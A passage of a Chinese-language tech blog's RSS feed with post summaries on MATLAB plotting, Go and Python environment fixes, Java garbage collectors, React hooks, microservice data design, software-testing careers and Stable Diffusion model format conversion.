Service。服务端与客户端的数据交互采用SOAP协议。ONVIF中的其他部分比如音视频流则通过RTP/RTSP进行。</description>
    </item>
    <item>
      <title>MATLAB 之 二维图形绘制的基本函数和辅助操作</title>
      <link>https://bchobby.github.io/posts/477d491be4d2fb131576c62a5a1020d9/</link>
      <pubDate>Tue, 23 May 2023 14:36:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/477d491be4d2fb131576c62a5a1020d9/</guid>
      <description>文章目录 一、绘制二维曲线的基本函数1. plot 函数的基本用法2. 含多个输入参数的 plot 函数3. 含选项的 plot 函数4. 双纵坐标函数 plotyy 二、绘制绘制图像的辅助操作1. 图形标注2. 坐标控制3. 图形保持4. 图形窗口的分割 二维图形是将平面坐标上的数据点连接起来的平面图形。可以采用不同的坐标系，除直角坐标系外，还可以采用对数坐标、极坐标。数据点可以用向量或矩阵形式给出，类型可以是实型或复型。二维曲形的绘制无疑是其他绘图操作的基础。 一、绘制二维曲线的基本函数 在 MATLAB 中，基本的绘图函数是 plot 函数，利用它可以绘制出不同的二维曲线。 1. plot 函数的基本用法 plot 函数用于绘制 x y xy xy 平面上的线性坐标曲线图，因此需提供一组 x x x 坐标及其各点对应的 y y y 坐标，这样就可以绘制分别以 x x x 和 y y y 为横、纵坐标的二维曲线。plot 函数的基本调用格式如下： plot(x,y) 其中， x x x 和 y y y 为长度相同的向量，分别用于存储 x x x 坐标和 y y y 坐标数据。例如，在 0 ≤ x ≤ 2 π 0\le x\le2\pi 0≤x≤2π 区间内，我们绘制曲线 y = 2 e − 0.</description>
    </item>
    <item>
      <title>Golang运行环境问题</title>
      <link>https://bchobby.github.io/posts/d038e1e8f93b6b63fd85b26f7d7a3a2d/</link>
      <pubDate>Tue, 23 May 2023 10:31:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d038e1e8f93b6b63fd85b26f7d7a3a2d/</guid>
      <description>Background 1 执行程序报错&#xA;go tool: no such tool compile 2 切换环境配置失败&#xA;go env -w GOBIN=... does not override conflicting OS environment variable 3 环境变量不存在&#xA;$GOPATH/go.mod exists but should not 以上情况，需要逐项排查运行环境安装以及相关配置。&#xA;Premise MacBook Pro (13-inch, M1, 2020) Process 1 查看go.mod文件，确认项目需要的GO版本。&#xA;module entryname go 1.19 require ( ) 2 下载安装对应的版本&#xA;3 确认go版本，安装是否成功。&#xA;sirius@MacBook-Pro-9 ~ % go version go version go1.20.1 darwin/arm64 4 查看Go安装位置&#xA;sirius@MacBook-Pro-9 ~ % which go /usr/local/go/bin/go 5 go env 查看配置。</description>
    </item>
    <item>
      <title>el-table上移下移</title>
      <link>https://bchobby.github.io/posts/8ef46f20eb644f8aa1fa44620f845929/</link>
      <pubDate>Tue, 23 May 2023 09:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef46f20eb644f8aa1fa44620f845929/</guid>
      <description> </description>
    </item>
    <item>
      <title>Java中常见的垃圾回收器 Serial、Parallel、CMS、G1 和 ZGC简介</title>
      <link>https://bchobby.github.io/posts/036798934506a2f85fb68139f382ae43/</link>
      <pubDate>Mon, 22 May 2023 23:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/036798934506a2f85fb68139f382ae43/</guid>
      <description>Java中有几种常见的垃圾回收器，每种垃圾回收器都有其特定的工作方式和回收策略。下面列举了常见的Java垃圾回收器，并对其进行详细说明。&#xA;Serial 垃圾回收器： 回收过程：单线程回收器，使用标记-清除算法。它首先暂停所有应用线程，然后标记需要回收的对象，最后清除未被标记的对象。适用代：主要用于新生代。 Parallel 垃圾回收器： 回收过程：多线程回收器，使用标记-清除算法。多个线程并行进行垃圾回收操作，提高回收效率。同样会暂停所有应用线程。适用代：主要用于新生代。 CMS（Concurrent Mark-Sweep）垃圾回收器： 回收过程：使用并发标记-清除算法，以减少停顿时间。首先进行初始标记，然后并发进行标记和清除操作，最后进行重新标记和清除操作。适用代：主要用于老年代。 G1（Garbage-First）垃圾回收器： 回收过程：基于分代收集的垃圾回收器，将堆内存划分为多个区域。使用并发标记-整理算法，将垃圾对象进行标记并整理内存，减少碎片。适用代：主要用于新生代和老年代。 ZGC（Z Garbage Collector）垃圾回收器： 回收过程：使用并发标记-整理算法，将垃圾对象进行标记并整理内存。采用读屏障技术，减少应用线程的停顿时间。适用代：主要用于大型堆内存，包括新生代和老年代。 垃圾回收的整个过程通常包括以下几个步骤：&#xA;标记（Marking）：&#xA;垃圾回收器从根对象开始遍历对象图，标记所有被引用的对象为存活对象。标记过程可以通过根据不同的垃圾回收算法采用不同的标记方式，如标记-清除算法、标记-复制算法、标记-整理算法等。 清除（Sweeping）：&#xA;垃圾回收器清除所有未被标记的对象，即将被标记为死亡（垃圾）的对象进行回收，释放它们所占用的内存空间。清除过程可以根据不同的垃圾回收算法采用不同的清除方式，如清除未被标记的对象、清除整个区域等。 压缩（Compacting）：&#xA;有些垃圾回收算法在清除阶段后会进行内存压缩操作，将存活对象进行整理，使它们在内存中连续排列，减少内存碎片的产生。压缩过程可以提高内存的利用率和访问效率。 内存分配（Allocation）：&#xA;在垃圾回收完成后，如果应用程序需要分配新的对象，垃圾回收器会为其分配内存空间。内存分配可以采用不同的策略，如指针碰撞、空闲列表等。 这些步骤中的具体实现方式和细节取决于所使用的垃圾回收算法和具体的垃圾回收器。不同的垃圾回收器可能在标记、清除和压缩等阶段采用不同的策略和技术，以满足不同的性能需求和内存管理目标。&#xA;需要注意的是，具体选择哪种垃圾回收器以及用于哪个代的决策是由JVM根据运行时参数、系统配置和应用程序行为等动态决定的。因此，在实际应用中，可以根据应用的特性和性能需求进行适当的调整和配置。</description>
    </item>
    <item>
      <title>替换掉数组中某个对象</title>
      <link>https://bchobby.github.io/posts/b1678543bd5124ea854b3981de03860d/</link>
      <pubDate>Mon, 22 May 2023 22:40:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1678543bd5124ea854b3981de03860d/</guid>
      <description>const arr = [ { id: 1, name: &#39;这是第一个对象&#39; }, { id: 2, name: &#39;这是第二个对象&#39; }, { id: 3, name: &#39;这是第三个对象&#39; }, ] const object = { id: 3, name: &#39;我把 ID 为三的替换掉了&#39; } const filterFind = arr.findIndex(item =&amp;gt; item.id === object.id) console.log(filterFind); // 2 （下标） if (filterFind &amp;gt; -1) { // 如果找到了 我就执行 solice 截取替换 arr.splice(filterFind, 1, object) } console.log(arr); 可以使用 findIndex 方法去查找出你要替换掉的某一个对象，通常需要用对象中某个唯一的标识去查找&#xA;返回的是找到的第一个对象下标&#xA;如果返回的值不等一 -1，或者大于 -1。那么就说明找到了，如果说找到了。&#xA;就可以直接执行数组的 splice 方法去将它替换掉，变成一个新的数组。</description>
    </item>
    <item>
      <title>python 问题修复ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1&#43;</title>
      <link>https://bchobby.github.io/posts/262c226e747b6459f4764cff7e406d24/</link>
      <pubDate>Mon, 22 May 2023 19:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/262c226e747b6459f4764cff7e406d24/</guid>
      <description> 目录 python 问题修复ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1+ 升级openssl版本降低urllib版本 python 问题修复ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1+ 这个问题时python版本安装的 urllib3版本过高，而openssl版本太低导致的&#xA;解决无非两种方法，降低urllib3版本或者升级openssl版本&#xA;升级openssl版本 //只针对centos，如果是ubunt系统，把yum改 apt-get yum -y update yum -y install openssl@1.1 降低urllib版本 python3 -m pip install urllib3==1.26.6 </description>
    </item>
    <item>
      <title>win10/11系统打开IE强制跳转Edge的解决办法</title>
      <link>https://bchobby.github.io/posts/10c18fb6a93788ef80da987df8f873b1/</link>
      <pubDate>Mon, 22 May 2023 19:19:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10c18fb6a93788ef80da987df8f873b1/</guid>
      <description>关于打开IE自动跳转Edge这个问题，之前给大家分享过解决办法，通过修改Edge浏览器的设置就可以了，但是最近系统再次更新，之前的设置也无效，这次就从IE着手解决这个问题吧。&#xA;右键点击系统的开始菜单，选择“搜索”，输入“Internet选项”并打开，切换至“高级”选项卡，如下图所示，&#xA;将“启用第三方浏览器扩展”前面的勾去掉，点击“确定”即可。&#xA;win10、win11系统中打开IE的三个方法：&#xA;1、在开始菜单的“搜索”里输入“Internet Explorer”，&#xA;2、打开运行，输入iexplore，点击“确定”，&#xA;3、打开目录C:\Program Files (x86)\Internet Explorer或C:\Program Files\Internet Explorer，找到iexplore，双击它即可打开，或者右键点击它向桌面发送一个快捷方式。</description>
    </item>
    <item>
      <title>A2L文件的自动生成(Simulink/CANape)</title>
      <link>https://bchobby.github.io/posts/47ab1d6bc56ffd369266b476216a80fc/</link>
      <pubDate>Mon, 22 May 2023 18:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ab1d6bc56ffd369266b476216a80fc/</guid>
      <description>目录&#xA;什么是A2L文件？&#xA;使用simulink生成A2L文件&#xA;A2L文件组成&#xA;characteristic&#xA;measurement&#xA;compu_method&#xA;group&#xA;simulink生成的A2L与CANape生成的A2L&#xA;如何自动修改simulink生成A2L文件使其适用于CANape？&#xA;所需文件&#xA;什么是A2L文件？ A2L文件是一个标定的描述文件，基于文本格式，描述ECU的通信等相关的参数，以及标定，观测变量的地址以及物理值计算公式等等。&#xA;A2L 文件中的信息允许 XCP 主站通过 XCP 连接与从站模块通信。格式化的文本文件包含事件和测量定义以及其他配置信息，用于采集和激励数据以及执行其他函数。&#xA;Vector提供两种生成A2L文件的工具：&#xA;ASAP2 Studio，适用于ECU中变量较少且A2L文件变更不频繁的情况下，需手动编辑然后生成A2L文件&#xA;ASAP2 Tool Set适用于ECU中变量比较多且A2L文件变更频繁的情况，它通过批处理指令自动识别代码中的变量信息然后生成A2L文件&#xA;使用simulink生成A2L文件 按照以下步骤，勾选ASAP2&#xA;生成代码，就可以看到&#xA;A2L文件组成 A2L文件头（项目配置信息等，一般不随软件编译变化，除非对应参数调整）&#xA;标定变量描述（包含的地址信息每次编译都有可能变化）&#xA;观测变量描述（包含的地址信息每次编译都有可能变化）&#xA;其他辅助信息，转换公式等 （一般不随软件编译变化，除非对应参数调整）&#xA;HEADER该块里边包含了项目信息，包括项目编号，项目版本等信息&#xA;MODULE该块里边包含了在标定测量层面来描述ECU需要的所有信息，一个ECU对应一个MODULE块，MODULE由许多子块来组成1MOD_PAR这个块里包含了用于管理ECU的数据，例如客户名，编号，CPU类型，ECU的内存分配等，其中最重要的就是ECU的内存分配，开发人员需要根据ECU内存分段情况定义MEMORY SEGMENT和SEGMENT里边的PAGE，这里的SEGMENT/PAGE的概念和在线标定中的概念是一致的，一个MODULE里边只能出现一次。&#xA;MOD_COMMON该块用来指定ECU的一些标准的一般性描述信息，比如大小端，数据的对齐方式，FLOAT变量的处理方式等，一个MODULE里也只能出现一次。&#xA;CHARACTERISTIC该块用来定义标定变量，里边包含了可以被标定的变量的名字，地址，长度，计算公式，精度，最大最小值等信息，一个MODULE里边可以出现很多次这样的块，也就是说一个ECU可以有很多的标定变量。&#xA;AXIS_PTS该块用来定义数组或查表变量对应的轴的类型，它将被RECORD_LAYOUT块来引用，一个ECU里边可以有很多种不同的轴类型，用于实现查表和插值，一般很少用到。MEASUREMENT该块用来定义测量变量，里边包含了可以被测量的变量的名字，地址，长度，计算公式，精度，最大最小值等信息，一个MODULE里边可以出现很多次这样的块，也就是说一个ECU可以有很多的测量变量。&#xA;COMPU_METHOD该块用于定义计算公式，及原始值和物理值之前的转换关系，这些公式可以被标定变量和测量变量来引用，从而将原始值转换成便于用户阅读和使用的物理值。COMPU_TAB该块用来定义原始值和物理值的映射关系，是一种特殊的转换关系，它一般应用于枚举变量，例如我们想采集一个代表XCP状态机的变量，分别为0对应DISCONNECTED，1对应CONNECTED，2对应RESUME，那么我们就可以把这样的映射关系定义成一个COMPU_TAB，然后关联到对应的变量上，这时候如果上位机采集到1这样的原始值，它就可以将当前的状态显示成“CONNECTED”字样，方便用于阅读和使用。FUNCTION该块为可选项，很少使用。&#xA;GROUPS该块是把标定变量和测量变量按照一定的逻辑（比如功能模块）组织起来，在上位机中形成一个下拉菜单，使得用于可以从中选择变量，这块是可选的。&#xA;RECORD_LAYOUT该块用来定义标定变量的物理存储结构（单个变量，二维表，三维表等）。&#xA;characteristic measurement compu_method 计算方法，也就是measurement类型数据中的Conversion method。&#xA;内部值Q，物理值V，两者的互相转换。&#xA;内部值可以理解为物理值放大转换之后的值或者物理值固定点化的值。&#xA;group 分类，模型分层的分类。&#xA;simulink生成的A2L与CANape生成的A2L 以上举得这个例子属于使用simulink生成的A2L文件，它不同于使用CANape生成的A2L文件，当然只是在格式表达上不同，但它们的参数类型、以及内核是一样的。&#xA;具体差别在哪呢？&#xA;因为我这边也没有具体的使用CANape生成的A2L文件，从网上截取了几张图，主要变换和区别是：Measurement, Characteristic, COMPU_METHOD这几个类型&#xA;在CANape生成的A2L文件描述如下：&#xA;对比这simulink生成的例子，好像省略掉了很多的东西，更简洁了。&#xA;如何自动修改simulink生成A2L文件使其适用于CANape？ 流程如下：&#xA;1、把通过IDE编译生成的map文件中的ECU参数地址，放到a2l文件对应的参数中（前面提到的三种类型）&#xA;2、去掉多余的注释&#xA;所需文件 IDE生成的map文件、Simulink生成的a2l文件、模板文件a2l(不变的头和尾，变化的中间部分)、用于从map文件和原a2l文件中提取参数放到模板文件a2l中的m执行文件、最终生成的ECU.a2l文件。 主要是：找准不变的头和尾与变化的中间部分&#xA;具体的m执行文件可从这里获取&#xA;链接：百度网盘 请输入提取码</description>
    </item>
    <item>
      <title>微服务架构中,服务之间都是独立数据库,如何做到高性能地数据关联展示?</title>
      <link>https://bchobby.github.io/posts/6baefd62fa9bdf246caddc3b680c06bb/</link>
      <pubDate>Mon, 22 May 2023 18:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6baefd62fa9bdf246caddc3b680c06bb/</guid>
      <description>微服务架构中,服务之间都是独立数据库,如何做到高性能地数据关联展示? 首先.微服务应当是隔离而独立的吗?. 是的，微服务架构的一个核心原则是每个微服务应该具有自己的独立数据库。这种独立性有助于实现微服务的解耦和可扩展性。&#xA;通过为每个微服务分配独立的数据库，可以实现以下好处：&#xA;解耦性：每个微服务都有自己的数据库，可以独立地进行数据模式设计和数据管理。这样，对一个微服务的数据库进行更改或优化时，不会对其他微服务产生影响。&#xA;可扩展性：独立的数据库使得每个微服务可以根据其自身的需求进行水平扩展。当某个微服务的负载增加时，可以单独扩展其数据库，而无需影响其他微服务。&#xA;性能优化：由于每个微服务具有自己的数据库，可以根据其特定的需求进行性能优化。针对每个微服务的查询和事务可以进行专门的优化，提高整体系统的性能。&#xA;数据隔离：微服务之间的数据是相互独立的，每个微服务只能访问其自己的数据库。这样可以确保数据的隔离性和安全性，防止一个微服务的故障对整个系统的数据产生影响。&#xA;需要注意的是，微服务之间的通信和数据同步可能会引入一定的复杂性和开销。在设计和实现微服务架构时，需要考虑好微服务之间的数据交互方式和一致性保证机制。&#xA;比如说商品服务,订单服务.&#xA;如果我们的订单列表的需求是:查询出订单,并且附带上该订单的商品名字和图片.&#xA;那么就需要这一件事情,多个服务共同参与,共同关联数据.&#xA;我们可以怎么做?&#xA;1.实时查询 我们可以在订单服务里面,实时查询&#xA;1.订单服务:查询出分页的一组订单列表,然后调用 商品服务提供的查询接口. 2.商品服务提供的查询接口的查询条件是商品id_list. 里面的具体查询也是 where id in (id_list),然后把商品信息返回给订单服务 3.订单服务拿到了一组商品,for循环塞入数据 优点:&#xA;简单操作,易于理解,不需要维护其他的东西,只需要在服务端进行组装数据即可.&#xA;缺点:&#xA;这种情况会导致 基础服务的压力很大,在高并发时候,基础服务容易造成雪崩效应.&#xA;另外,在考虑到调用服务时发生的熔断后,是直接报错,还是返回部分,也是值得考虑的问题.&#xA;2.数据库设计冗余 我们可以在订单表里添加 商品名称和商品图片 两个字段即可.&#xA;优点:&#xA;查询性能高，不需要跨服务查询，缓存策略简单&#xA;缺点:&#xA;冗余查询快,但就意味着增删改的时候麻烦.比如修改商品的时候,也要修改订单里面的商品字段.删除商品的时候,也要删除订单里面的商品字段.相当于业务又重做了一部分.在系统上,又感觉耦合了.如果某些字段变更速度很快,那就很麻烦.&#xA;3.搜索引擎 数据扔搜索引擎里面.所有服务共享该搜索引擎.&#xA;该方式可行,本质上是再创建一个大家公用的库.&#xA;优点:&#xA;性能优秀&#xA;缺点:&#xA;1.搜索引擎 应该只作为查询结果,而不要再根据查询结果 追加业务.&#xA;2.增加维护成本&#xA;4.同步部分其他服务的表 该方案是:订单服务里面添加个商品表,一直同步商品服务的商品表.订单服务里面的商品表不能乱修改.&#xA;可以找Canal、Debezium、DataX、Databus、Flinkx、Bifrost 这种中间件来操作&#xA;优点:代码层面比较简单,符合目的&#xA;缺点:&#xA;1.冗余表数据,需要同步中间件高可用&#xA;2.对于不同的数据库 就比较麻烦&#xA;5.构建查询数据库 重新建一个数据库,copy所有的表.该数据库用于查询.&#xA;优点:&#xA;1.总体构建比较简单,不管三七二十一,同步所有即可.&#xA;2.代码层面还可以&#xA;缺点:&#xA;性能不咋地,同步中间件需要高可用&#xA;对于不同的数据库 就比较麻烦&#xA;对于及时性不高的是可以的&#xA;6.数仓做数据汇聚 数据放数仓,从数仓查</description>
    </item>
    <item>
      <title>Day270/300 react hooks 使用useState 修改后，视图不更新</title>
      <link>https://bchobby.github.io/posts/1aa1b963908865eafc573faadc95f418/</link>
      <pubDate>Mon, 22 May 2023 17:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aa1b963908865eafc573faadc95f418/</guid>
      <description>1、React 代码 {chatData.map(item =&amp;gt; { return &amp;lt;div key={item.id}&amp;gt; &amp;lt;/div&amp;gt; })} 使用useState改变数组的值，dom没有更新： const showChat = (item)=&amp;gt;{ item.open = !item.open console.log(&#39;item-open&#39;,chatData) setChatData(chatData) } 2、原因 useState异步，数据不能及时获取到&#xA;useState() 属于异步函数，在useState() 第一次存储的时候，值会存储不上。&#xA;因为react中state的更新是异步的，我们setState后，react不会立刻对值进行改变，而是将其暂时放入pedding队列中。react会合并多个state，然后值render一次，所以不要在循环中使用useState，它有可能只render最后一次set值，但是当传入一个函数时，函数就会被放入一个队列中，然后按照顺序执行。 React中默认浅监听，当变量为引用类型时，栈中存的是对象的引用（地址），setState改变的是堆中的数据。所以此时set后，栈中的地址还是原地址，React浅监听到地址没变，会认为State并未改变，所以没有重新渲染页面&#xA;3、解决方案 修改为数组的结构赋值形式就可以了。&#xA;const showChat = (item)=&amp;gt;{ item.open= !item.open console.log(&#39;item-open&#39;,item.open,chatData) setChatData([...chatData]) } 4、React Hooks 整理 useState: 用来在函数组件中添加状态，能够代替类组件中的state；useEffect: 用来在函数组件中添加副作用，例如发起网络请求、更新DOM等操作；useContext: 用来在函数组件之间共享全局数据；useReducer: 用来管理复杂状态或多个相关状态的更新；useCallback: 用来缓存函数实例，避免不必要的渲染；useMemo: 用来缓存计算结果，提高组件渲染性能；useRef: 用来获取DOM节点或缓存任何可变值，类似于类组件中的ref属性。 参考链接 链接：https://juejin.cn/post/7102334510808694792</description>
    </item>
    <item>
      <title>软件测试学习规划（学习思路、学习方法、面试技巧、后期发展、职业规划等）</title>
      <link>https://bchobby.github.io/posts/ed4a6eab4b8b9ac254379072cb7cde48/</link>
      <pubDate>Mon, 22 May 2023 15:57:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed4a6eab4b8b9ac254379072cb7cde48/</guid>
      <description>软件测试学习思路 1、基础知识、理论知识（用例编写，测试方法，用例管理），测试思维的学习，很多人不屑理论，一股劲的扎进测试工具里面。最大的误区，工具永远学不完，测试必须的自己思路清晰，理论是自己吹B的基础&#xA;2、数据库（mysql 、oracle、sql server），增删改查必须会 ，这个是入门，尽量会点存储过程等其他高深点的，面试表现出来，绝对是加分项。&#xA;3、Linux，必须会，现在很多WEB测试环境都是搭建在centos下，所以建议直接学习centos7，服务器一般用的这个系统，Ubuntu这些有些地方和centos还是有一点区别，所以为了花最少的时间去适应新的系统，就直接选centos7，搭建环境，安装软件，这个必须会。介绍两个工具Xshell、FTP前者用来远程连接系统，后者实现linux系统和Windows传输文件。&#xA;4、测试工具，市场上的测试工具太多了，永远学不完，推荐几个主流的给大家，QTP、selenium（功能测试） 、LR、jmeter（性能测试），postman（接口测试），QC、禅道（用例管理、项目管理），gitlab、SVN(项目管理、版本控制)，不一定全学，会几个就是了，初级要求不会太高，如果面试遇到公司使用了你不会的工具，直接说一句，“工具不是万能的，市场上的工具是学不完的，如果要学会使用一个工具就几天时间，最重要的还是自己的思路” 这样很容易让面试官觉得你很有自信，能力还不错。&#xA;5、汇编语言，没得编程基础同学，建议学习Python，号称最简单的语言，代码量少，维护性好，界面很容易接受，最重要的是现成的库很多，效率很高。JAVA，Python有的地方不能实现JAVA的一些功能，JAVA相对Python编码量有点大了，JAVA编写测试框架很实用，C，性能测试很需要，特别是服务器性能测试，linux都是C写出来的，可以看出C在服务器底层应用是很广的。编程语言可以作为后期工作中学习&#xA;6、面试，转行、刚毕业的要求别太高，看清自己对自己有一个定位。刚开始可以选择海投，一方面多给自己一些面试机会，另一方面可以出去看看别人的要求，更清楚的认识自己。&#xA;7、后期发展，技术：转开发，性能测试也能达到年薪30W。产品经理，管理层这些都是未来的方向。&#xA;学习路线图&#xA;学习方法&#xA;视频和笔记结合，不太容易懂的视频更容易理解，但是耽误时间，笔记能快速学习，吸收力差，看完即忘。&#xA;简历重点&#xA;项目经验，必须写清楚，职责，收获。&#xA;个人能力，看了很多人根本就不知道怎么写简历，个人评价全是套话，没有人看，对于初入职场或者转行人员尤其重要，第一件事就是让别人知道你的能力，个人评价直接写自己的技能，会什么东西，直白些，不要让别人看了简历都不知道你会什么，3秒浏览一份简历，可以想象一个没有闪光点的简历是什么样的后果。&#xA;面试技巧&#xA;转行：&#xA;1) 让别人知道为什么转行，不要说一些自己都感觉SB的想法，要说的很有抱负，很有想法（“27岁才发现自己喜欢事，只想做自己喜欢的事，曾经的东西都可以放弃”）瞬间让别人感觉不一样&#xA;2) 决心有多大，转行最怕的就是让面试官知道你只是尝试性的转行，这样别人会觉得你还是没思考自己想要什么，不稳定 ，靠不住。表现出自己的决心“曾经10K的工资，现在为了自己喜欢的事，放弃所有，从新开始”把自己的后路直接说死，让面试官知道你有种破釜沉舟的勇气，即使面试不成功也会换来好感。&#xA;3) 职业规划，不说多远，2-5年的规划就可以，让别人知道你这个人很有想法，思考比较独立，整个人很有上进心&#xA;以上说的很多都是自己的加分点，实际情况还需自己去考虑，想好这三个问题，拿到一份offer是不成问题的。&#xA;大厂面试录音以及面试题&#xA;刚毕业转行： 1)为什么转行，这个是每一个转行的人首先要考虑的问题 ，大忌：自己的专业不好找工作，耳朵都听腻了。可以谈自己的兴趣，爱好。&#xA;2) 自己的能力，尽量和软件测试这个行业扯上关系，自己学编程要第一时间表现出来，加分项。自己不会的要表现出有很好的态度和学习能力，公司都会根据能力选择人才培养和储备。&#xA;3) 职业规划，一个刚毕业的学生有一个很清晰的规划马上可以从其他人中脱颖而出，尽量别说一些套话，人人都一样了，面试官为什么选择你！&#xA;所有的面试必须思路清晰，不要想起一句说一句，这样面试官很反感，软件测试要的不是会多少东西，而是良好的交流、清晰的思维，工作能力是其次的。态度—思维—能力，这个是我对职场的理解。这些是我对一个刚进入或者想进入这个行业的一些人的建议和自己的一些看法，不完全正确，自己可以找到一种属于自己的方式。&#xA;后期发展&#xA;不管自己是以什么样的方式入职的，进公司第一件事就是工作态度，几个月的试用期，看的最的多是工作态度，转正的方式有很多种，不一定靠能力转正，态度也可以让BOSS给你转正的机会。工作能力差可以用态度和勤奋去弥补。交流能力，测试应该算公司交际比较广泛的team了，产品经理、需求、研发、客户都有可能涉及到，所以测试工程师第一要素：交流，不光是听懂别人的意思，有时候必须清楚的表达自己的意思。很多人认为这个很简单，在我看来这是最难的，有时候自己不能完全理解可续的需求，自己想要表达的东西也没有很直白、确切的传达给客户。这是我做产品两个月来的深刻体会。&#xA;测试与开发对比&#xA;现在大家都在讨论测试和开发的工资问题：&#xA;1、测试低人一等，比不了开发&#xA;2、都认为开发比测试工资高&#xA;3、测试以后的发展方向没有开发好&#xA;很多公司对测试设立的工资范围比开发低这个是自然的：&#xA;原因一：在他们眼里测试不重要，可有可无，这个是中国目前行业的诟病；&#xA;原因二：一般公司对测试要求低，就基本的功能测试，工作强度决定了工资待遇；&#xA;但是这并不意味测试的工资一定就低。同样是工作两年，一般的开发工资就是9k左右，但是一个测试如果是会编程，两年工作经验，工资可以达到11K，为什么？&#xA;测试会编程的人偏少，更别说编程质量高的，少了很多人的竞争，物以稀为贵，这样就是为什么开发转测试很吃香的原因。前提是必须会编程，但是对于一般的功能测试，编程要求很低，编程能力不如开发，同样的工作经验比开发拿的工资高，多的这一部分钱就是测试需要的思维意识，有思维能编程，综合性人才公司自然会给的多。思维意识这个对于测试来说可能需要付出更多的时间去积累，也有可能是两年工作时间就可以学到的，这个都是看个人能力。&#xA;发展方向&#xA;开发精于某一方面，测试是看大局，定位不一样。为什么测试可以做到产品经理，开发做项目经理，产品可以不需要懂技术，但需要有大局观，对项目的把控能力，项目经理需要的是技术，对做事的人的指导。&#xA;最后：下方这份完整的软件测试视频学习教程已经整理上传完成，朋友们如果需要可以自行免费领取 【保证100%免费】</description>
    </item>
    <item>
      <title>Stablediffusion模型diffusesr格式和ckpt格式相互转换</title>
      <link>https://bchobby.github.io/posts/822994683c36576c496dcaf42a9c4bd9/</link>
      <pubDate>Mon, 22 May 2023 15:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/822994683c36576c496dcaf42a9c4bd9/</guid>
      <description>参考资料：&#xA;diffusers的源码 [github]&#xA;因为小博客可能看的人很少，所以我写的啰嗦一点，想直接看如何互相转换的朋友可以直接转到文末的代码段。&#xA;当你在学习Stablediffusion这个开源的t2i模型时，不可避免地会碰到两种模型权重的存储格式，即diffusers格式和ckpt格式：&#xA;如上图所示，这是一个hugging face的仓库，仓库里有文件夹和.ckpt文件.safetensors文件。这个截图同时包含了两种格式的权重，那么哪些属于diffusers格式？哪些属于ckpt格式？&#xA;答：明摆着的，后缀为.ckpt的文件就是ckpt格式。而diffusers格式其实包含：feature_extractor, scheduler, text_encoder, tokenizer, unet, vae这些文件夹以及model_index.json这个文件。大的二进制文件主要位于text_encoder，unet和vae文件夹下。&#xA;safetensors是ckpt转换得到的，防止别有用心之人在ckpt文件中加入恶意代码。safetensor和ckpt文件都能直接用于AUTOMATIC111这个为T2I模型开发的WebUI上，而diffusers不行。而diffusers提供的一些代码example又非常有借鉴意义，但一旦使用，其存储类型是一系列目录，这就催生了两种各格式相互转化的需求。&#xA;怎么转化？使用diffusers官方提供的转化脚本即可，这些转换脚本在diffuser源代码仓库的scripts文件夹下：主要涉及两个文件：convert_original_stable_diffusion_to_diffusers.py和convert_diffusers_to_original_stable_diffusion.py。&#xA;diffusers to ckpts&#xA;使用convert_diffusers_to_original_stable_diffusion.py脚本，一个典型的使用场景是你训练了一个模型，然后就想把这个模型转换成.ckpt文件放到webui上。使用范例如下：&#xA;python convert_diffusers_to_original_stable_diffusion.py --model_path model_dir --checkpoint_path path_to_ckpt.ckpt 还有两个参数--half和--use_safetensors，如果加上就会把数值存为fp16以及把ckpt存为safetensors&#xA;ckpts to diffusers&#xA;使用convert_original_stable_diffusion_to_diffusers.py脚本，一个典型的使用场景是把ckpt文件(自己训练的或者是SD官方发布的)解包成diffusers的目录形式上传hugging face或者是自己使用。需要注意的是diffuser的目录存储形式实际上提供了比ckpt文件更多的(实际上多得多)信息。为什么？因为ckpt是pytorch使用的存储权重的二进制文件，你在load_state_dict的时候需要先初始化model，然后再load权重，但是ckpts文件中没有这些信息(或很少)，就只能靠脚本来推断到底用了哪些参数初始化的model。所以你会发现diffusers to ckpts的脚本很简单，ckpts to diffusers的脚本很复杂。下面提供一个范例：&#xA;python convert_original_stable_diffusion_to_diffusers.py --checkpoint_path path_to_ckpt.ckpt --dump_path model_dir --image_size 512 --prediction_type epsilon 在使用v2-base或v2.1-base的时候，一定要加上--image_size 512和--prediction_type epsilon这两个参数，不然脚本就会推断错模型的类型(ckpt中的信息太少)。由于脚本已经写的很完备了，大多数情况下只需要--checkpoint_path和--dump_path两个参数就能正常完成转换。&#xA;最后，diffusers这个代码仓库日新月异，每天都在高强度更新，所以读者需要多git pull安装最新版本，这两个转换脚本什么时候发生变化也不能保证滴。</description>
    </item>
    <item>
      <title>软考：信息系统项目管理师/信管高级第一章课后练习思考题</title>
      <link>https://bchobby.github.io/posts/c5cd52e3ce287d911abf014f61d0a25c/</link>
      <pubDate>Mon, 22 May 2023 14:34:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5cd52e3ce287d911abf014f61d0a25c/</guid>
